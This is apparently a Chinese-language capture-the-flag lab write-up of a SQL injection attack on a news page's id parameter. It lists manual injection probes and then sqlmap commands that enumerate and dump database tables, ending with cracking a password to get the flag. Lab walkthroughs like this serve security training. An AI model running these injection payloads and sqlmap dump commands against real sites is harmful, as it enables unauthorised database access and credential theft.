本次靶场操作步骤来源于 CSDN-吃肉唐僧
本次靶场使用windows系统和kali Linux系统
1.点击页面进去，发现浮动的通告进度条，找到SQL注入点
2.在地址栏中输入：/new_list.php?id=1' and 1=1 ，这样页面就变成空白的了
3.输入/new_list.php?id=1 and 1=1,内容显示， 判断这个id的值类型是数字类型
4.然后开始判断数据库名字的长度，/new_list.php?id=1 and length(database())=1，内容空白。一直试，试到长度为10
首先这里确定了这个数据库的长度（10）和类型（数字型），接下来就用bp抓网页内容
5.在kali终端新建一个后缀名为.txt的文件，然后打开bp，将在网页上打开的通知网页的URL复制在bp上进行抓包，将下面的内容复制并保存在.txt文件里面
这里主要说一下就是，我们访问的是静态网页，所以每次抓到的都是一样的内容，如果说设置的浏览器（我这里的浏览器是chrome）不一样，你可以对比一下我抓到的内容有没有什么不一样
6.回到kali终端，输入查找数据库的命令：sqlmap -r *.txt(新建的文本文件) --level 5 --risk 3 --dbs --dbms mysql --batch
7.接着向下，找数据库里面的数据表：sqlmap -r *.txt(新建的文本文件) --level 5 --risk 3 -D 数据库名 --tables --batch
8.接着来查找表的字段：sqlmap -r *.txt(新建的文本文件) --level 5 --risk 3 -D 数据库名 -T 表名 --columns --dbms mysql --batch
9.最后看字段值： sqlmap -r *.txt(新建的文本文件) --level 5 --risk 3 -D 数据库名 -T 表名 -C （字段1，字段2，....） --dump --dbms mysql --batch
最后的最后将密码解密一下，然后回到登录网页，就能看到Key，然后提交
